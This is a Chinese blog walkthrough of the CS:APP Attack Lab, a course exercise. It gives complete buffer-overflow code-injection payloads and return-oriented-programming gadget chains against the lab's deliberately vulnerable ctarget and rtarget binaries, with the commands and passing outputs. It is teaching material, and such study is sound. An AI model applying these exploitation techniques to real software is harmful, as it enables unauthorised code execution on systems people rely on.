Attack Lab----深入理解计算机系统

2024-03-08 17:10

本文主要是介绍Attack Lab----深入理解计算机系统,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Attack Lab

文件来源于《深入理解计算机系统》一书

Attack Lab 网址:http://csapp.cs.cmu.edu/3e/labs.html

运行坏境:Ubuntu 22.04.1

一些介绍

阅读attacklab.pdf(writeup)文件,可以知道该实验分为两大部分。书

  • Code Injection Attacksctarget是易受代码注入攻击的可执行程序,利用 代码注入(Code injection) 攻击该程序

  • Return-Oriented Programming: rtarget是易受面向返回的编程攻击的可执行程序,利用 返回导向编程(Return-oriented programming) 攻击该程序

另外,如果在 ubuntu 系统上直接运行这两个程序,是无法运行的,因为服务器没有使用 CMU 的内网,无法建立连接。如下

FAILED: Initialization error: Running on an illegal host [XXX]

attacklab.pdf中也提供了解决方法,如下

Both CTARGET and RTARGET take several different command line arguments:-h: Print list of possible command line arguments-q: Don’t send results to the grading server-i FILE: Supply input from a file, rather than from standard input

运行程序时,传入命令参数-h可以打印可能的命令行参数列表;传入命令参数-q可以不将结果发送到评分服务器;传入命令参数-i FILE可以提供来自文件的输入,而不是来自标准输入。

因此,运行程序时附加命令参数-q就可以在为连接内网的情况下运行程序。加上参数-i还可以支持文件输入。

attacklab.pdf中还提到了:文件中,ctargrt 和 rtarget 都从标准输入读取字符串,它们使用下面定义的函数 getbuf 来执行此操作:

unsigned getbuf()
{char buf[BUFFER_SIZE];Gets(buf);return 1;
}

使用程序 hex2raw: 将十六进制序列转为可输入字符串。

hex2raw 的输入是用一个或多个空格分隔的两位十六进制值。因此,如果你想创建一个十六进制值为 0 的字节,你需要把它写成 00。要创建单词 0xdeadbeef,您应该将“ef be ad de”传递给 HEX2RAW(注意小端字节排序所需的反转)。

//注意机器为小端模式
//假设十六进制序列如下
30 31 32 33 34 35 00//转换为字符串
012345

如何将汇编代码转换为机器代码

//假如有如下汇编代码 in example.spushq $0xabcdef         # Push value onto stackaddq $17,%rax           # Add 17 to %raxmovl %eax,%edx          # Copy lower 32 bits to %edx//使用gcc编译example.s,并使用objdump进行反汇编gcc -c example.sobjdump -d example.o > example.d
//得到如下文件内容 in example.d
example.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 68 ef cd ab 00   pushq $0xabcdef
5: 48 83 c0 11      add $0x11,%rax
9: 89 c2            mov %eax,%edx//获得机器码如下
68 ef cd ab 00  /* pushq $0xabcdef */
48 83 c0 11     /* add $0x11,%rax */
89 c2           /* mov %eax,%edx */

接下来进行 实验

Code Injection Attacks

所谓 Code Injection,就是通过缓冲区溢出,注入攻击代码。

phase 1 —level 1

phase1 任务: 运行 CTARGET 过程中,使函数 getbuf 执行其 return 语句后,执行 touch 1 的代码,而不是返回到 test。

attacklab.pdf文件中,ctargrt 中的 test 函数的参考 c 代码如下:

void test()
{int val;val = getbuf();printf("No exploit. Getbuf returned 0x%x\n", val);
}

ctargrt 中的 touch1 函数的参考 c 代码如下:

void touch1()
{vlevel = 1; /* Part of validation protocol */printf("Touch1!: You called touch1()\n");validate(1);exit(0);
}

使用反汇编命令反汇编 ctarget,并保存到 ctarget.s 以便查看,如下:

objdump -d ctarget > ctarget.s

主要查看函数getbuf和函数touch1的汇编代码

00000000004017a8 <getbuf>:4017a8:	48 83 ec 28          	sub    $0x28,%rsp       //分配0x28的栈帧4017ac:	48 89 e7             	mov    %rsp,%rdi        //buf数组首地址4017af:	e8 8c 02 00 00       	call   401a40 <Gets>    //调用Gets4017b4:	b8 01 00 00 00       	mov    $0x1,%eax4017b9:	48 83 c4 28          	add    $0x28,%rsp       //4017bd:	c3                   	ret                     //使%rip值为返回地址4017be:	90                   	nop4017bf:	90                   	nop00000000004017c0 <touch1>:4017c0:	48 83 ec 08          	sub    $0x8,%rsp4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>4017cb:	00 00 004017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi4017d3:	e8 e8 f4 ff ff       	call   400cc0 <puts@plt>4017d8:	bf 01 00 00 00       	mov    $0x1,%edi4017dd:	e8 ab 04 00 00       	call   401c8d <validate>4017e2:	bf 00 00 00 00       	mov    $0x0,%edi4017e7:	e8 54 f6 ff ff       	call   400e40 <exit@plt>

在函数getbuf中分配了 0x28 的栈帧,说明字符串数组 buf 的BUFFER_SIZE为 40,而函数touch1的地址为 0x4017c0 ,接下来就是将函数test调用函数getbuf时存储在其栈帧中的返回地址改为 0x4017c0 即可。

创建 attack 文件 phase1.txt 如下

//文件中不包含注释
/*填充字符串数组buf*/
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
/*利用数组越界注入函数 touch1 返回地址*/
/*小端模式*/
c0 17 40 00
00 00 00 00

使用命令如下

./hex2raw < phase1.txt > phase1_.txt
./ctarget -qi phase1_.txt

执行结果为

ubuntu> ./ctarget -qi phase1_.txtCookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:user id	bovikcourse	15213-f15lab	attacklabresult	1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00

通过 phase1.

phase 2 —level 2

phase2任务:运行 CTARGET 过程中,使函数 getbuf 执行其 return 语句后,执行 touch2 的代码,而不是返回到 test, 且需要传入参数 cookie=0x59b997fa,通过 touch2 的验证。

attacklab.pdf文件中,ctargrt 中的 touch2 函数的参考 c 代码如下:

void touch2(unsigned val)level = 2; /* Part of validation protocol */if (val == cookie) {rintf("Touch2!: You called touch2(0x%.8x)\n", val);alidate(2);else {printf("Misfire: You called touch2(0x%.8x)\n", val);fail(2);}exit(0);
}

查看函数touch2的汇编代码如下

00000000004017ec <touch2>:4017ec:	48 83 ec 08          	sub    $0x8,%rsp4017f0:	89 fa                	mov    %edi,%edx4017f2:	c7 05 e0 2c 20 00 02 	movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>4017f9:	00 00 004017fc:	3b 3d e2 2c 20 00    	cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>401802:	75 20                	jne    401824 <touch2+0x38>401804:	be e8 30 40 00       	mov    $0x4030e8,%esi401809:	bf 01 00 00 00       	mov    $0x1,%edi40180e:	b8 00 00 00 00       	mov    $0x0,%eax401813:	e8 d8 f5 ff ff       	call   400df0 <__printf_chk@plt>401818:	bf 02 00 00 00       	mov    $0x2,%edi40181d:	e8 6b 04 00 00       	call   401c8d <validate>401822:	eb 1e                	jmp    401842 <touch2+0x56>401824:	be 10 31 40 00       	mov    $0x403110,%esi401829:	bf 01 00 00 00       	mov    $0x1,%edi40182e:	b8 00 00 00 00       	mov    $0x0,%eax401833:	e8 b8 f5 ff ff       	call   400df0 <__printf_chk@plt>401838:	bf 02 00 00 00       	mov    $0x2,%edi40183d:	e8 0d 05 00 00       	call   401d4f <fail>401842:	bf 00 00 00 00       	mov    $0x0,%edi401847:	e8 f4 f5 ff ff       	call   400e40 <exit@plt>

解决任务的思路就是在执行rep之前先将寄存器%rdi的值改为 cookie 值,然后再通过更改返回地址为0x4017ec,即可达到调用函数touch2且传入参数 cookie。

编写赋值 %rdi 的汇编代码 in phase2.s, 并将其插入到某段内存中

movq $0x59b997fa, %rdi    //将 cookie 值赋给 %rdi
pushq $0x4017ec           //将touch2的地址值压入栈帧中,作为返回地址,注意此时的%rsp指向的正是返回地址
ret                       //ret将前面存入栈帧中的返回地址(%rsp+1)赋值给%rip,执行touch2

接下来将上述汇编代码转为机器码,执行如下命令

gcc -Og -c phase2.s
objdump -d phase2.o > phase2_.s// in phase2_.sphase2.o:     file format elf64-x86-64Disassembly of section .text:0000000000000000 <.text>:0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi7:	68 ec 17 40 00       	push   $0x4017ecc:	c3                   	ret//机器码为
48 c7 c7 fa 97 b9 59
68 ec 17 40 00
c3

由此可得 attack 文件 phase2.txt 如下

//插入的汇编代码的机器码
48 c7 c7 fa
97 b9 59 68
ec 17 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55    //函数 getbuf的%rsp 值,亦为执行注入代码的地址
00 00 00 00

通过字符串数组溢出的方式注入的返回地址应为函数getbuf栈帧的地址,亦为执行注入代码的地址,使用 gdb 断点调试功能获取该%rsp 地址。如下

//使用gdb调试 ctarget
gdb ctarget//打上函数 test 的断点
b *0x401968//执行函数, 输入命令参数-qi, 文件地址为绝对地址
r -qi ~/code/code/cyy/CSAPP/Attack/phase1.txt//打上函数 getbuf 的分配栈帧之后,销毁栈帧之前的某一语句的断点
b *0x4017ac//继续执行
c//查看寄存器值
i registerrax            0x0                 0
rbx            0x55586000          1431855104
rcx            0x0                 0
rdx            0x5561dcc0          1432476864
rsi            0xf4                244
rdi            0x55685fd0          1432903632
rbp            0x55685fe8          0x55685fe8
rsp            0x5561dc78          0x5561dc78
r8             0x0                 0
r9             0x0                 0
r10            0x7ffff7d94e98      140737351601816
r11            0x7ffff7f31900      140737353292032
r12            0x3                 3
r13            0x0                 0
r14            0x0                 0
r15            0x7ffff7ffd040      140737354125376
rip            0x4017ac            0x4017ac <getbuf+4>
eflags         0x216               [ PF AF IF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0

可以知道 %rsp值为 0x5561dc78, 与 phase2.txt 中对应。

使用如下命令运行 ctarget

./hex2raw < phase2.txt > phase2_.txt
./ctarget -qi phase2_.txt

执行结果为

Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:user id	bovikcourse	15213-f15lab	attacklabresult	1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

通过 phase2.

phase 3 —level 3

phase3任务:运行 CTARGET 过程中,使函数 getbuf 执行其 return 语句后,执行 touch3 的代码,而不是返回到 test, 且需要传入参数 cookie 的 字符串形式 作为参数,通过 touch3 的验证。

attacklab.pdf文件中,ctargrt 中的 hexmatch 函数的参考 c 代码如下:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{char cbuf[110];/* Make position of check string unpredictable */char *s = cbuf + random() % 100;sprintf(s, "%.8x", val);return strncmp(sval, s, 9) == 0;
}

ctargrt 中的 touch3 函数的参考 c 代码如下:

void touch3(char *sval)
{vlevel = 3; /* Part of validation protocol */if (hexmatch(cookie, sval)) {printf("Touch3!: You called touch3(\"%s\")\n", sval);validate(3);} else {printf("Misfire: You called touch3(\"%s\")\n", sval);fail(3);}exit(0);
}

分别查看其汇编代码如下

000000000040184c <hexmatch>:40184c:	41 54                	push   %r1240184e:	55                   	push   %rbp40184f:	53                   	push   %rbx401850:	48 83 c4 80          	add    $0xffffffffffffff80,%rsp   //%rsp - 128...4018f1:	48 83 ec 80          	sub    $0xffffffffffffff80,%rsp4018f5:	5b                   	pop    %rbx4018f6:	5d                   	pop    %rbp4018f7:	41 5c                	pop    %r124018f9:	c3                   	ret
00000000004018fa <touch3>:4018fa:	53                   	push   %rbx4018fb:	48 89 fb             	mov    %rdi,%rbx4018fe:	c7 05 d4 2b 20 00 03 	movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>401905:	00 00 00401908:	48 89 fe             	mov    %rdi,%rsi40190b:	8b 3d d3 2b 20 00    	mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>401911:	e8 36 ff ff ff       	call   40184c <hexmatch>401916:	85 c0                	test   %eax,%eax401918:	74 23                	je     40193d <touch3+0x43>40191a:	48 89 da             	mov    %rbx,%rdx40191d:	be 38 31 40 00       	mov    $0x403138,%esi401922:	bf 01 00 00 00       	mov    $0x1,%edi401927:	b8 00 00 00 00       	mov    $0x0,%eax40192c:	e8 bf f4 ff ff       	call   400df0 <__printf_chk@plt>401931:	bf 03 00 00 00       	mov    $0x3,%edi401936:	e8 52 03 00 00       	call   401c8d <validate>40193b:	eb 21                	jmp    40195e <touch3+0x64>40193d:	48 89 da             	mov    %rbx,%rdx401940:	be 60 31 40 00       	mov    $0x403160,%esi401945:	bf 01 00 00 00       	mov    $0x1,%edi40194a:	b8 00 00 00 00       	mov    $0x0,%eax40194f:	e8 9c f4 ff ff       	call   400df0 <__printf_chk@plt>401954:	bf 03 00 00 00       	mov    $0x3,%edi401959:	e8 f1 03 00 00       	call   401d4f <fail>40195e:	bf 00 00 00 00       	mov    $0x0,%edi401963:	e8 d8 f4 ff ff       	call   400e40 <exit@plt>

注意到,当我们注入攻击代码后使 ctarget 按预期执行 touch3,但传入的参数为字符串且保存在栈帧中,touch3 验证 cookie 的方式是调用函数hexmatch来判断,而且在函数中又调用了strcmp,分别观察其汇编代码,发现函数hexmatch的栈帧为 134 字节,如果处理不当,一定会覆盖掉传入的 cookie 字符串,毕竟函数getbuf的栈帧也就 40 字节。

解决方法是充分利用指令ret的运行时栈的特性,运行时栈为逆向生长,而指令ret是将当前%rsp+8,并且将这 8 字节的内容作为返回地址赋值给程序计数器%rip。

因此,只要将 cookie 字符串的内容放在比注入指令ret执行时 %rsp+8 地址高的位置即可,即在运行时栈中,cookie 字符串值在%rsp+8 的位置开始向上存储。

编写赋值 %rdi 的汇编代码 in phase3.s, 并将其插入到某段内存中

movq $0x5561dca8, %rdi    //将 cookie 字符串首地址 赋给 %rdi
pushq $0x4018fa           //将touch3的地址值压入栈帧中,作为返回地址,注意此时的%rsp指向的正是返回地址
ret                       //ret将前面存入栈帧中的返回地址(8字节)赋值给%rip,执行touch3

接下来将上述汇编代码转为机器码,执行如下命令

gcc -Og -c phase3.s
objdump -d phase3.o > phase3_.s//in phase3_.sphase3.o:     file format elf64-x86-64Disassembly of section .text:0000000000000000 <.text>:0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi7:	68 fa 18 40 00       	push   $0x4018fac:	c3                   	ret//机器码为
48 c7 c7 a8 dc 61 55
68 fa 18 40 00
c3

由此可得 attack 文件 phase3.txt 如下

//插入的汇编代码的机器码
48 c7 c7 a8
dc 61 55 68
fa 18 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55    //函数 getbuf的%rsp 值,亦为执行注入代码的地址
00 00 00 00    //在此之后存储cookie 字符串值
35 39 62 39    //cookie 的字符串形式 其地址为 getbuf的%rsp+0x30
39 37 66 61
00 00 00 00    //字符串结尾

使用如下命令运行 ctarget

./hex2raw < phase3.txt > phase3_.txt
./ctarget -qi phase3_.txt

运行结果为

Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:user id	bovikcourse	15213-f15lab	attacklabresult	1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00

通过 phase3.

Return-Oriented Programming

attacklab.pdf文件提到

对程序 RTARGET 执行代码注入攻击比 CTARGET 要困难得多,因为它使用两种技术来阻止这种攻击:

  • 它使用随机化,以便堆栈位置在不同的运行中不同。这使得无法确定注入代码的位置。
  • 它将保存堆栈的内存部分标记为不可执行,因此即使您可以将程序计数器设置为注入代码的开头,程序也会因分段错误而失败

幸运的是,聪明的人已经制定了策略,通过执行现有代码,而不是注入新代码,在程序中完成有用的事情,即 ROP。

ROP 技术介绍

ROP 为使用你程序里的字节代码攻击你的程序。
attacklab.pdf文件中提到一个例子。

有如下 c 代码

void setval_210(unsigned *p)
{*p = 3347663060U;
}

对其进行反汇编后查看机器码

0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7   movl $0xc78948d4,(%rdi)
400f1b: c3                  retq

注意到,机器码 48 89 c7 可以编码为movq %rax, %rdi,如果程序从 0x400f18 处开始执行,则等价于执行如下汇编代码

movq %rax, %rdi
ret

这种带有 ret 的指令段,称为 gadget,而 farm.c 里有很多这种 garget。你可以利用这些 garget 进行攻击。

farm.c 已经编译进了 rtarget,也就是说,你反汇编 rtarget 时,你就会找到 farm.c 里的函数

下图为 一些汇编指令的编码

在这里插入图片描述

另外 0xC3编码为ret0x90编码为nop.

phase 4 —level 2

phase4任务:使用 ROP 技术重做 phase2
使用反汇编命令反汇编 rtarget,并保存到 rtarget.s 以便查看,如下:

objdump -d rtarget > rtarget.s

观察其汇编代码,发现 farm.c 确实已经编译进了 rtarget

0000000000401994 <start_farm>:401994:	b8 01 00 00 00       	mov    $0x1,%eax401999:	c3                   	ret...0000000000401ab2 <end_farm>:401ab2:	b8 01 00 00 00       	mov    $0x1,%eax401ab7:	c3                   	ret

查看 getbuf 与 touch2 的汇编代码

00000000004017a8 <getbuf>:4017a8:	48 83 ec 28          	sub    $0x28,%rsp4017ac:	48 89 e7             	mov    %rsp,%rdi4017af:	e8 ac 03 00 00       	call   401b60 <Gets>4017b4:	b8 01 00 00 00       	mov    $0x1,%eax4017b9:	48 83 c4 28          	add    $0x28,%rsp4017bd:	c3                   	ret4017be:	90                   	nop4017bf:	90                   	nop00000000004017ec <touch2>:4017ec:	48 83 ec 08          	sub    $0x8,%rsp4017f0:	89 fa                	mov    %edi,%edx4017f2:	c7 05 e0 3c 20 00 02 	movl   $0x2,0x203ce0(%rip)        # 6054dc <vlevel>4017f9:	00 00 004017fc:	3b 3d e2 3c 20 00    	cmp    0x203ce2(%rip),%edi        # 6054e4 <cookie>401802:	75 20                	jne    401824 <touch2+0x38>401804:	be 08 32 40 00       	mov    $0x403208,%esi401809:	bf 01 00 00 00       	mov    $0x1,%edi40180e:	b8 00 00 00 00       	mov    $0x0,%eax401813:	e8 d8 f5 ff ff       	call   400df0 <__printf_chk@plt>401818:	bf 02 00 00 00       	mov    $0x2,%edi40181d:	e8 8b 05 00 00       	call   401dad <validate>401822:	eb 1e                	jmp    401842 <touch2+0x56>401824:	be 30 32 40 00       	mov    $0x403230,%esi401829:	bf 01 00 00 00       	mov    $0x1,%edi40182e:	b8 00 00 00 00       	mov    $0x0,%eax401833:	e8 b8 f5 ff ff       	call   400df0 <__printf_chk@plt>401838:	bf 02 00 00 00       	mov    $0x2,%edi40183d:	e8 2d 06 00 00       	call   401e6f <fail>401842:	bf 00 00 00 00       	mov    $0x0,%edi401847:	e8 f4 f5 ff ff       	call   400e40 <exit@plt>

字符串数组 buf 的BUFFER_SIZE为 40,因为其没有设置金丝雀值,仍可以通过数组溢出改变程序运行的顺序,但由于栈随机初始化且只读模式,不可执行,所以不能够进行代码注入。接下来使用 ROP 技术,需要解决两点:

  • 使寄存器 %rdi 值为 cookie
  • 执行 touch2

最先想到的汇编代码就是

movq    $0x59b997fa, %rdi
pushq   $0x4017ec
ret

但是使用 gadget 不可直接实现这段汇编代码的功能,但是我们可以将其拆分成多个语句,并结合运行时栈来解决。

先将 $0x59b997fa 放入栈中,由 popq 指令将其赋值给%rdi, 再将 $0x4017ec 放入栈中,由ret指令后执行函数 touch2。

放入栈中的工作可以由字符串数组溢出来完成,而赋值寄存器则由 gadget 来完成。

观察 start_farm 到 end_farm 间的汇编代码,发现带有可以编码为popq的 gadget 如下

00000000004019a7 <addval_219>:4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax4019ad:	c3                   	ret//从 0x4019ab 处开始执行,等价于下方汇编语句4019ab: 58                        popq %rax4019ac: 90                        nop4019ad:	c3                      ret

接下来还需要将%rax 值赋值给%rdi,如下 gadget

00000000004019a0 <addval_273>:4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax4019a6:	c3                   	ret//从 4019a2 处开始执行,等价于下方汇编语句4019a3: 48 89 c7                  mov %rax, %rdi4019a6: c3                   	ret

整合的汇编代码为

//函数 getbuf 的 ret 执行后跳转 0x4019ab
popq %rax
nop
ret             //执行后跳转 4019a2
mov %rax, %rdi
ret             //执行后跳转touch2 4017ec

由此可得 attack 文件 phase4.txt 如下

00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00     //占位 buf 40字节
ab 19 40 00     // 跳转 0x4019ab  执行popq %rax
00 00 00 00
fa 97 b9 59     // popq %rax
00 00 00 00
a2 19 40 00     // 跳转 0x4019a2  执行mov %rax, %rdi
00 00 00 00
ec 17 40 00     // 跳转 4017ec, 执行touch2
00 00 00 00

执行如下命令

./hex2raw < phase4.txt > phase4_.txt
./rtarget -qi phase4_.txt

执行结果如下

Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:user id	bovikcourse	15213-f15lab	attacklabresult	1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

通过 phase4

phase 5 —level 3

phase5任务:使用 ROP 技术重做 phase3

000000000040184c <hexmatch>:40184c:	41 54                	push   %r1240184e:	55                   	push   %rbp40184f:	53                   	push   %rbx401850:	48 83 c4 80          	add    $0xffffffffffffff80,%rsp     //分配128 + 3*8 字节的栈帧...4018f1:	48 83 ec 80          	sub    $0xffffffffffffff80,%rsp4018f5:	5b                   	pop    %rbx4018f6:	5d                   	pop    %rbp4018f7:	41 5c                	pop    %r124018f9:	c3                   	ret00000000004018fa <touch3>:4018fa:	53                   	push   %rbx4018fb:	48 89 fb             	mov    %rdi,%rbx4018fe:	c7 05 d4 3b 20 00 03 	movl   $0x3,0x203bd4(%rip)        # 6054dc <vlevel>401905:	00 00 00401908:	48 89 fe             	mov    %rdi,%rsi40190b:	8b 3d d3 3b 20 00    	mov    0x203bd3(%rip),%edi        # 6054e4 <cookie>401911:	e8 36 ff ff ff       	call   40184c <hexmatch>...

使用 ROP 需要实现以下几个方面

  • 获取 cookie 字符串的首地址,并赋值给 %rdi
  • 调用 函数 touch3
  • 保护 cookie 字符串 不被 函数 hexmatch 的栈帧破坏掉

保护 cookie 字符串依旧是将其放到栈帧的顶端(最后一个返回地址上方),难点再于如何获取 cookie 字符串得到地址。

易于想到的一点就是,使用寄存器 %rsp 加上某个偏移地址 xx 得到,得到如下汇编代码

movq %rsp, %rax
addq $0x xx, %rax
movq %rax, %rdi

但由于 gadget 中没有 addq $0x xx, %rax 命令,但是又类似的命令 add_xy 如下,等价于 %rax = %rdi + %rsi

00000000004019d6 <add_xy>:4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax4019da:	c3                   	ret

所以可以通过字符串数组溢出来再某个内存中提前存放特殊的值,再通过 popq 将其赋值给%rdi 或%rsi,再调用 add_xy 获取 cookie 字符串的地址。

汇编代码实现如下

popq %rdi
movq %rsp, %rsi
call add_xy
movq %rax, %rdi
call touch3

查找 gadget,发现没有办法直接实现该功能。
查询有用 gadget 如下:

00000000004019ca <getval_280>:4019ca:	b8 29 58 90 c3       	mov    $0xc3905829,%eax4019cf:	c3                   	ret//从 4019cc 处开始运行, 等价于4019cc:58                    popq %rax4019cd: 90                    nop4019ce: c3                    ret
----------------------------------------------------------
00000000004019db <getval_481>:4019db:	b8 5c 89 c2 90       	mov    $0x90c2895c,%eax4019e0:	c3                   	ret//从 4019dd 处开始运行, 等价于4019dd: 89 c2                 movl %eax, %edx4019df: 90                    nop4019e0: c3                    ret
----------------------------------------------------------
0000000000401a33 <getval_159>:      //401a33:	b8 89 d1 38 c9       	mov    $0xc938d189,%eax401a38:	c3                   	ret//从 4019f7 处开始运行, 等价于401a34: 89 d1                 movl %edx, %ecx401a36: 38 c9                 //??, 但不会对寄存器造成影响401a38: c3                   	ret
----------------------------------------------------------
0000000000401a11 <addval_436>:401a11:	8d 87 89 ce 90 90    	lea    -0x6f6f3177(%rdi),%eax401a17:	c3                   	ret//从 401a13 处开始运行, 等价于401a13: 89 ce                 movl %ecx, %esi401a15: 90                    nop401a16: 90                    nop401a17: c3                   	ret
----------------------------------------------------------
0000000000401a03 <addval_190>:401a03:	8d 87 41 48 89 e0    	lea    -0x1f76b7bf(%rdi),%eax401a09:	c3                   	ret//从 401a06 处开始运行, 等价于401a06: 48 89 e0              movq %rsp, %rax401a09: c3                   	ret
----------------------------------------------------------
00000000004019a0 <addval_273>:4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax4019a6:	c3                   	ret
//从 4019a2 处开始运行, 等价于4019a3: 89 c7 c3              movq %rax, %rdi4019a5: c3                   	ret
----------------------------------------------------------
00000000004019d6 <add_xy>:4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax   //将 %rdi 和 %rsi 相加4019da:	c3                   	ret

改进汇编代码如下

popq  %rax
movl  %eax, %edx
movl  %edx, %ecx
movl  %ecx, %esi
movq  %rsp, %rax
movq  %rax, %rdi
call  add_xy
movq  %rax, %rdi
call  touch3

由此可得 attack 文件 phase5.txt 如下

00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00   //40 字节占位符
cc 19 40 00   // 执行
00 00 00 00
20 00 00 00   // popq %rax   偏移量
00 00 00 00
dd 19 40 00   // movq %eax, %edx
00 00 00 00
34 1a 40 00   // movl  %edx, %ecx
00 00 00 00
13 1a 40 00   // movl  %ecx, %esi
00 00 00 00
06 1a 40 00   // movq  %rsp, %rax
00 00 00 00
a2 19 40 00   // movq  %rax, %rdi   //%rdi 中 %rsp开始处
00 00 00 00
d6 19 40 00   // call  add_xy
00 00 00 00
a2 19 40 00   // movq  %rax, %rdi
00 00 00 00
fa 18 40 00   // call  touch3
00 00 00 00
35 39 62 39   // cookie 字符串      //%rsp + 0x20
39 37 66 61
00 00 00 00   // 字符串结束符

执行如下命令

./hex2raw < phase5.txt > phase5_.txt
./rtarget -qi phase5_.txt

执行结果如下

Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:user id	bovikcourse	15213-f15lab	attacklabresult	1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00

通过 phase5

结束

这篇关于Attack Lab----深入理解计算机系统的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/787795

相关文章

【前端学习】AntV G6-08 深入图形与图形分组、自定义节点、节点动画(下)

【课程链接】 AntV G6:深入图形与图形分组、自定义节点、节点动画(下)_哔哩哔哩_bilibili 本章十吾老师讲解了一个复杂的自定义节点中,应该怎样去计算和绘制图形,如何给一个图形制作不间断的动画,以及在鼠标事件之后产生动画。(有点难,需要好好理解) <!DOCTYPE html><html><head><meta charset="UTF-8"><title>06

认识、理解、分类——acm之搜索

普通搜索方法有两种:1、广度优先搜索;2、深度优先搜索; 更多搜索方法: 3、双向广度优先搜索; 4、启发式搜索(包括A*算法等); 搜索通常会用到的知识点:状态压缩(位压缩,利用hash思想压缩)。

深入探索协同过滤:从原理到推荐模块案例

文章目录 前言一、协同过滤1. 基于用户的协同过滤(UserCF)2. 基于物品的协同过滤(ItemCF)3. 相似度计算方法 二、相似度计算方法1. 欧氏距离2. 皮尔逊相关系数3. 杰卡德相似系数4. 余弦相似度 三、推荐模块案例1.基于文章的协同过滤推荐功能2.基于用户的协同过滤推荐功能 前言     在信息过载的时代,推荐系统成为连接用户与内容的桥梁。本文聚焦于

【生成模型系列(初级)】嵌入(Embedding)方程——自然语言处理的数学灵魂【通俗理解】

【通俗理解】嵌入(Embedding)方程——自然语言处理的数学灵魂 关键词提炼 #嵌入方程 #自然语言处理 #词向量 #机器学习 #神经网络 #向量空间模型 #Siri #Google翻译 #AlexNet 第一节:嵌入方程的类比与核心概念【尽可能通俗】 嵌入方程可以被看作是自然语言处理中的“翻译机”,它将文本中的单词或短语转换成计算机能够理解的数学形式,即向量。 正如翻译机将一种语言

软件设计师备考——计算机系统

学习内容源自「软件设计师」 上午题 #1 计算机系统_哔哩哔哩_bilibili 目录 1.1.1 计算机系统硬件基本组成 1.1.2 中央处理单元 1.CPU 的功能 1)运算器 2)控制器 RISC && CISC 流水线控制 存储器  Cache 中断 输入输出IO控制方式 程序查询方式 中断驱动方式 直接存储器方式(DMA)  ​编辑 总线 ​编辑

【C++高阶】C++类型转换全攻略:深入理解并高效应用

